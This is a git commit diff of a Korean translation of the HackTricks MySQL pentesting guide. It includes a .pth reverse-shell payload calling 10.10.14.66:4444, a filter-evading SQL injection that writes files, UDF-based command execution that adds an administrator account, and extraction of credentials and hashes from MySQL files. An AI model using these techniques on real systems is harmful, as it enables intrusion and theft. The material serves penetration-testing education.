Translated ['src/network-services-pentesting/pentesting-mysql.md'] to ko

This commit is contained in:
Translator 2025-07-14 08:54:00 +00:00
parent 7737481b55
commit ce03d6bbe8

View File

@ -1,10 +1,5 @@
# 3306 - Pentesting Mysql # 3306 - Pentesting Mysql
{{#include /banners/hacktricks-training.md}}
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## **기본 정보** ## **기본 정보**
@ -106,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db #@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
``` ```
문서에서 각 권한의 의미를 확인할 수 있습니다: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL 파일 RCE ### MySQL 파일 RCE
@ -114,19 +109,19 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}} {{#endref}}
#### INTO OUTFILE → Python `.pth` RCE (사이트 구성 훅) #### INTO OUTFILE → Python `.pth` RCE (사이트 특정 구성 훅)
고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다. 고전적인 `INTO OUTFILE` 프리미티브를 악용하여 나중에 **Python** 스크립트를 실행하는 대상에서 *임의 코드 실행*을 얻을 수 있습니다.
1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 임의의 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다. 1. `INTO OUTFILE`을 사용하여 `site.py`에 의해 자동으로 로드되는 임의의 디렉토리(예: `.../lib/python3.10/site-packages/`)에 사용자 정의 **`.pth`** 파일을 드롭합니다.
2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다. 2. `.pth` 파일은 `import `로 시작하는 *단일 행*을 포함할 수 있으며, 그 뒤에 임의의 Python 코드가 이어져 인터프리터가 시작될 때마다 실행됩니다.
3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`에서 shebang `#!/bin/python` 사용) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE). 3. 인터프리터가 CGI 스크립트에 의해 암묵적으로 실행될 때(예: `/cgi-bin/ml-draw.py`와 shebang `#!/bin/python`) 페이로드는 웹 서버 프로세스와 동일한 권한으로 실행됩니다 (FortiWeb이 **root**로 실행 → 전체 사전 인증 RCE).
`.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음): `.pth` 페이로드 (단일 행, 최종 SQL 페이로드에 공백을 포함할 수 없으므로 hex/`UNHEX()` 또는 문자열 연결이 필요할 수 있음):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
**UNION** 쿼리를 통해 파일을 제작하는 예 (공백 문자 `/**/`로 대체되어 `sscanf("%128s")` 공백 필터를 우회하고 총 길이를 ≤128 바이트로 유지): **UNION** 쿼리를 통해 파일을 제작하는 예 (공백 문자 `/**/`로 대체되어 `sscanf("%128s")` 공백 필터를 우회하고 총 길이를 ≤128 바이트로 유지):
```sql ```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
``` ```
@ -135,7 +130,7 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
* `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요. * `INTO OUTFILE` **기존 파일을 덮어쓸 수 없습니다**; 새 파일 이름을 선택하세요.
* 파일 경로는 **MySQL의 CWD에 상대적으로 해결**되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다. * 파일 경로는 **MySQL의 CWD에 상대적으로 해결**되므로 `../../`로 접두사를 붙이면 경로를 단축하고 절대 경로 제한을 우회할 수 있습니다.
* 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요. * 공격자 입력이 `%128s` (또는 유사한)로 추출되면 공백이 페이로드를 잘라냅니다; MySQL 주석 시퀀스 `/**/` 또는 `/*!*/`를 사용하여 공백을 대체하세요.
* 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다. * 쿼리를 실행하는 MySQL 사용자는 `FILE` 권한이 필요하지만, 많은 장(예: FortiWeb)에서 서비스가 **root**로 실행되어 거의 모든 곳에 쓰기 접근을 제공합니다.
`.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요: `.pth`를 삭제한 후, 코드 실행을 얻기 위해 파이썬 인터프리터가 처리하는 CGI를 요청하세요:
``` ```
@ -165,7 +160,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**이 문서에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법을 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **이 문서에서는 공격에 대한 완전한 설명과 RCE로 확장하는 방법을 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**여기에서 공격 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **여기에서 공격 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -191,7 +186,7 @@ MySQL 서비스의 구성에서 다양한 설정이 사용되어 운영 및 보
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다. - **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
- **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다. - **`debug`** 변수는 로그 내의 민감한 정보를 포함하여 현재 디버깅 구성을 나타냅니다.
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다. - **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 관리하며, 로그 내에 민감한 데이터를 포함합니다.
- **`secure_file_priv`**는 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화합니다. - **`secure_file_priv`**는 보안을 강화하기 위해 데이터 가져오기 및 내보내기 작업의 범위를 제한합니다.
### 권한 상승 ### 권한 상승
```bash ```bash
@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
``` ```
### Privilege Escalation via library ### Privilege Escalation via library
만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다. 만약 **mysql 서버가 root** (또는 더 높은 권한을 가진 다른 사용자)로 실행되고 있다면, 명령을 실행하도록 만들 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 사용자 정의 함수를 만들기 위해서는 mysql이 실행되고 있는 OS에 대한 **라이브러리**가 필요합니다.
사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요. 사용할 악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령어를 통해 찾을 수 있습니다. **`.so`** 파일은 **linux** 라이브러리이고 **`.dll`** 파일은 **Windows** 라이브러리입니다. 필요한 것을 선택하세요.
@ -222,7 +217,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
이제 라이브러리가 있으므로, 특권 사용자(루트?)로 Mysql에 로그인하고 다음 단계를 따르세요: 이제 라이브러리가 있으므로, 특권 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르세요:
#### Linux #### Linux
```sql ```sql
@ -258,13 +253,13 @@ SELECT sys_exec("net localgroup Administrators npn /add");
``` ```
### MySQL 자격 증명 파일에서 추출하기 ### MySQL 자격 증명 파일에서 추출하기
_/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **일반 텍스트 비밀번호**가 있습니다. _/etc/mysql/debian.cnf_ 안에는 사용자 **debian-sys-maint**의 **평문 비밀번호**가 있습니다.
```bash ```bash
cat /etc/mysql/debian.cnf cat /etc/mysql/debian.cnf
``` ```
당신은 **이 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다**. 당신은 **이 자격 증명을 사용하여 MySQL 데이터베이스에 로그인할 수 있습니다**.
파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 해시들입니다) _. 파일 _/var/lib/mysql/mysql/user.MYD_ 안에는 **MySQL 사용자들의 모든 해시**가 있습니다 (데이터베이스 내의 mysql.user에서 추출할 수 있는 들입니다) _.
다음과 같이 추출할 수 있습니다: 다음과 같이 추출할 수 있습니다:
```bash ```bash
@ -272,7 +267,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
``` ```
### 로깅 활성화 ### 로깅 활성화
mysql 쿼리의 로깅을 `/etc/mysql/my.cnf`에서 다음 줄의 주석을 제거하여 활성화할 수 있습니다: 다음 줄의 주석을 제거하여 `/etc/mysql/my.cnf`에서 mysql 쿼리의 로깅을 활성화할 수 있습니다:
![](<../images/image (899).png>) ![](<../images/image (899).png>)